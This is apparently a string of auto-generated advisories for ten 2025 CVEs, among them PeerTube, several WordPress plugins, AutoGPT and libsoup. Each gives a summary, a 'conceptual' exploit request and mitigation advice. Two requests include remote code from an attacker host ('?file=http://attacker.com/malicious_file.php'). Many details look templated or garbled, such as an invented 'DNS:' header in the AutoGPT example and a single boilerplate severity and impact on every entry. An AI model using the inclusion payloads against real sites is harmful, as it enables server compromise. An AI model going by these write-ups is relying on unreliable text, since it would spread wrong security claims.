Author: Ameeba

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a critical vulnerability labeled CVE-2025-32947. This flaw primarily affects the PeerTube server, exposing it to potential system compromise or data leakage. The vulnerability, if exploited, results in the server entering an infinite loop, thus rendering it unresponsive to further requests. Given the severity of this issue, it requires immediate attention and remediation.

Vulnerability Summary

CVE ID: CVE-2025-32947
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or potential data leakage

Affected Products

Product | Affected Versions

PeerTube Server | All versions up to latest

How the Exploit Works

The exploit takes advantage of a flaw in the “inbox” endpoint of the PeerTube server. By sending a specifically crafted ActivityPub activity, an attacker can trigger an infinite loop within the server. This loop causes the server to halt all other operations and stop responding to requests, effectively causing a denial of service. It may also expose the system to potential data leakage or compromise.

Conceptual Example Code

This conceptual example illustrates a potential malicious request that could exploit this vulnerability:

POST /inbox HTTP/1.1
Host: peertube.example.com
Content-Type: application/activity+json
{
"@context": "https://www.w3.org/ns/activitystreams",
"type": "Note",
"content": "This is a crafted ActivityPub activity that causes infinite loop..."
}

In the above request, the “content” field contains a malicious payload designed to exploit the flaw in the “inbox” endpoint.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the patch provided by the vendor as soon as it becomes available. For immediate but temporary relief, utilizing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help mitigate the vulnerability by blocking malicious activities aimed at exploiting this flaw.

Overview

The CVE-2025-32929 vulnerability, discovered in the Barcode Generator for WooCommerce developed by Dmitry V. of “UKR Solution”, poses a significant security risk due to improperly configured access control security levels. This issue makes potential system compromise and data leakage possible, threatening the security of both the affected systems and the data they store. It’s paramount to address this vulnerability urgently to prevent potential exploits.

Vulnerability Summary

CVE ID: CVE-2025-32929
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Barcode Generator for WooCommerce | n/a through 2.0.4

How the Exploit Works

The CVE-2025-32929 vulnerability stems from a missing authorization check in the Barcode Generator for WooCommerce. An attacker can exploit this issue by sending specially crafted requests to the affected application. Due to the lack of proper authorization checks, an attacker could gain unauthorized access to protected resources, compromising the system or leading to data leakage.

Conceptual Example Code

The following conceptual example shows how a malicious actor might exploit this vulnerability using a HTTP POST request with a malicious payload:

POST /barcode/generate HTTP/1.1
Host: vulnerable-woocommerce-store.com
Content-Type: application/json
{
"barcode_parameters": "malicious_payload"
}

Mitigation Guidance

To mitigate this vulnerability, it’s recommended to apply the vendor patch as soon as it becomes available. In the meantime, implementing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary protection against potential exploits. Be sure to configure these systems properly to effectively shield against the CVE-2025-32929 vulnerability.

Overview

This report analyzes the critical vulnerability identified as CVE-2025-26958, a missing authorization issue in JetBlog. This vulnerability affects numerous versions of the tool and can potentially lead to unauthorized system access and data leakage. Due to its severity and potential impact, it is of utmost importance that users take immediate mitigation steps.

Vulnerability Summary

CVE ID: CVE-2025-26958
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access resulting in potential system compromise or data leakage.

Affected Products

Product | Affected Versions

JetBlog | Up to 2.4.3

How the Exploit Works

The CVE-2025-26958 vulnerability stems from a missing authorization check in JetBlog. This flaw allows attackers to access functionality that is not properly constrained by Access Control Lists (ACLs). By exploiting this vulnerability, an attacker can gain unauthorized access and perform actions within the system, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited, using a malicious HTTP POST request:

POST /jetblog/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "..." }

In this example, the attacker sends a POST request with a malicious payload to a vulnerable endpoint in the JetBlog application. Due to the missing authorization check, the system processes the request, executing the attacker’s payload and opening the door for further malicious actions.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor patch. If the vendor patch is not available or cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation. These systems should be configured to detect and block suspicious activities related to this vulnerability. It is imperative to apply the vendor patch as soon as it becomes available to fully mitigate the risk associated with CVE-2025-26958.

Overview

A significant cybersecurity vulnerability has been detected in JetPopup, a popular plugin used in web development. This issue, identified as CVE-2025-26944, is a Missing Authorization vulnerability, which allows unauthorized access to restricted functionalities. This vulnerability is of particular concern for developers and organizations using the JetPopup plugin, as it opens up a potential attack vector for malicious actors, leading to potential system compromise or data leakage.

Vulnerability Summary

CVE ID: CVE-2025-26944
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

JetPopup | n/a to 2.0.11

How the Exploit Works

The CVE-2025-26944 vulnerability stems from a lack of sufficient authorization measures in JetPopup. This allows attackers to bypass Access Control Lists (ACLs) and gain unauthorized access to restricted functionalities. By exploiting this vulnerability, an attacker could potentially compromise the system or leak sensitive data.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited using an HTTP request:

POST /jetpopup/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "unauthorized_access": "bypass_ACLs" }

In the example above, the attacker sends a POST request to the JetPopup endpoint, with the payload specifically crafted to bypass the ACLs, thereby gaining unauthorized access to restricted functionalities.

Mitigation Guidance

Users are advised to apply the vendor patch as soon as it is available. Until then, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) could provide temporary mitigation against potential attacks exploiting this vulnerability. Careful monitoring of system logs and network traffic is also recommended for early detection of any suspicious activities.

Overview

This report addresses the critical cybersecurity vulnerability CVE-2025-26942, a Missing Authorization flaw in NotFound JetTricks. This vulnerability affects various versions of JetTricks, a widely used software, and poses a significant risk due to its potential for system compromise and data leakage.

Vulnerability Summary

CVE ID: CVE-2025-26942
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage can occur if successfully exploited

Affected Products

Product | Affected Versions

NotFound JetTricks | n/a through 1.5.1

How the Exploit Works

The Missing Authorization vulnerability in NotFound JetTricks allows unauthorized users to access functionality that should be constrained by Access Control Lists (ACLs). An attacker can exploit this vulnerability by sending specially crafted network requests to the affected software, bypassing the ACLs, and potentially gaining unauthorized access to sensitive data or system resources.

Conceptual Example Code

Here is a conceptual example of how an attacker might exploit the vulnerability:

POST /unauthorized/endpoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "bypass_acl: true" }

In this example, the attacker sends a POST request to a restricted endpoint, including a payload that instructs the system to bypass the ACL. This conceptual example is simplified for illustrative purposes and the actual exploit may require more complex techniques.

Mitigation Guidance

The recommended mitigation for this vulnerability is to apply the vendor patch as soon as it becomes available. If the patch is not immediately available or applicable, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can help temporarily mitigate the vulnerability by detecting attempts to exploit it and blocking malicious traffic.

Overview

The CVE-2025-26894 vulnerability pertains to NotFound Coming Soon, Maintenance Mode Plugin implemented in PHP. This vulnerability lies in its improper control of filename for Include/Require Statement, also known as ‘PHP Remote File Inclusion’. This issue can potentially lead to system compromise or data leakage, thus posing significant risk to the organizations that are using versions through 1.1.1.

Vulnerability Summary

CVE ID: CVE-2025-26894
Severity: High (CVSS score 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

NotFound Coming Soon, Maintenance Mode | 1.1.1 and lower versions

How the Exploit Works

The vulnerability CVE-2025-26894 stems from the improper control of filename for include/require statement in PHP program. This allows an attacker to include a file from a remote server that can be executed in the context of the web server. The attacker can include malicious code to compromise the system or exfiltrate data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

GET /index.php?file=http://attacker.com/malicious_file.txt HTTP/1.1
Host: target.example.com

In this example, the attacker includes a malicious file from their server which gets executed on the target server when the page is loaded.

Mitigation

The users of NotFound Coming Soon, Maintenance Mode are advised to immediately apply the vendor patch, if available. If a vendor patch is not available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. It is also recommended to disable the allow_url_include and allow_url_fopen settings in the PHP configuration.

Overview

A critical vulnerability identified as CVE-2025-26889 has been detected in NotFound hockeydata LOS that can potentially compromise the system or lead to data leakage. This security flaw is due to improper control of the filename for Include/Require Statement in PHP Program, commonly known as PHP Remote File Inclusion. It poses a significant threat to any organization using versions through 1.2.4 of NotFound hockeydata LOS.

Vulnerability Summary

CVE ID: CVE-2025-26889
Severity: High Risk (CVSS: 7.5)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

NotFound HockeyData LOS | up to and including 1.2.4

How the Exploit Works

The exploit takes advantage of the lack of proper control of filenames in Include/Require statements in PHP programs within NotFound hockeydata LOS. An attacker can craft a specific URL or form data to include a remote file. This file can then be executed as part of the PHP application, potentially allowing unauthorized system access or data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request:

GET /vulnerable/endpoint?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com

In the above example, the attacker is attempting to include ‘malicious_file.php’ from ‘attacker.com’ into the current script’s execution.

Mitigation

Users are advised to apply the vendor patch as soon as it becomes available. As a temporary mitigation, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be beneficial in detecting and blocking attempts to exploit this vulnerability.

Overview

This report pertains to a critical vulnerability, CVE-2025-31490, discovered in the AutoGPT platform, a popular tool used for creating, deploying, and managing AI agents. This vulnerability, stemming from DNS Rebinding in the requests wrapper, could lead to potential system compromise or data leakage. Its significance lies in the fact that it affects a broad range of users and could lead to serious security breaches if not addressed promptly.

Vulnerability Summary

CVE ID: CVE-2025-31490
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, Data leakage

Affected Products

Product | Affected Versions

AutoGPT | Prior to 0.6.1

How the Exploit Works

The vulnerability arises due to the inadequate validation of the requested hostname of a URL in AutoGPT’s wrapper around Python’s requests library. Although the platform attempts to validate the hostname to ensure it does not resolve to any local IPv4 or IPv6 addresses, it fails to account for the possibility of a DNS server initially responding with a non-blocked address with a TTL of 0. This could lead to a DNS rebinding attack, where the initial resolution appears as a non-blocked address, only to resolve to an invalid range upon re-resolution in the subsequent request() function.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited:

GET /autogpt_platform/backend/backend/util/request.py HTTP/1.1
Host: vulnerable.example.com
DNS: malicious.example.com; TTL=0
{ "url": "http://localhost" }

In this example, the `GET` request is made to the vulnerable endpoint with a malicious DNS that initially resolves to a non-blocked address (due to TTL=0) but later resolves to a local address, thereby bypassing the initial URL validation and leading to an SSRF attack.

Overview

The CVE-2025-32913 vulnerability is a significant flaw found in libsoup, a widely-used HTTP client and server library for GNOME. This vulnerability can be exploited by a malicious HTTP peer to crash a libsoup client or server, thereby compromising system integrity or potentially leading to data leakage. In today’s digital environment where data security is paramount, such a vulnerability poses a significant risk to any organization that fails to address it promptly.

Vulnerability Summary

CVE ID: CVE-2025-32913
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

libsoup | All versions before the patch

How the Exploit Works

The exploit targets the soup_message_headers_get_content_disposition() function within libsoup. Specifically, this function is vulnerable to a NULL pointer dereference. A malicious HTTP peer can send specially crafted HTTP requests to the client or server, causing the function to dereference a NULL pointer and crash the application.

Conceptual Example Code

Here’s a conceptual example of how a malicious HTTP request might be used to exploit this vulnerability:

GET / HTTP/1.1
Host: target.example.com
Content-Disposition: ; filename="NULL"
...payload...

This example is conceptual and may not represent an actual exploit. It serves to illustrate the potential risk involved.

Mitigation Guidance

Users are advised to apply the latest vendor patch for libsoup that addresses this vulnerability. Should this not be immediately possible, employing a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can serve as temporary mitigations.

Overview

This report discusses a significant flaw in libsoup, a widely used HTTP client/server library for GNOME. The vulnerability, identified as CVE-2025-32908, primarily affects the HTTP/2 server component of the library and, if exploited, could result in a denial of service (DoS) attack or potential system compromise. The widespread use of libsoup in various applications makes this vulnerability highly critical and demands immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-32908
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Denial of Service, potential system compromise, and data leakage

Affected Products

Product | Affected Versions

libsoup | All versions prior to the latest patch

How the Exploit Works

The vulnerability stems from the HTTP/2 server’s incomplete validation of the pseudo-headers :scheme, :authority, and :path. This lack of validation allows an attacker to send a maliciously crafted request that the server fails to handle correctly, resulting in a denial of service. In some cases, this could also lead to system compromise and data leakage.

Conceptual Example Code

An attacker might exploit this vulnerability by sending a request similar to this:

POST / HTTP/2
Host: target.example.com
:scheme: http
:authority: target.example.com
:path: /malicious/path
Content-Type: application/json
{ "malicious_payload": "..." }

In the above example, the `:path` pseudo-header has been manipulated with a malicious path, which the server fails to validate correctly, causing an error and potential denial of service. The actual malicious payload would depend on the specific context and target.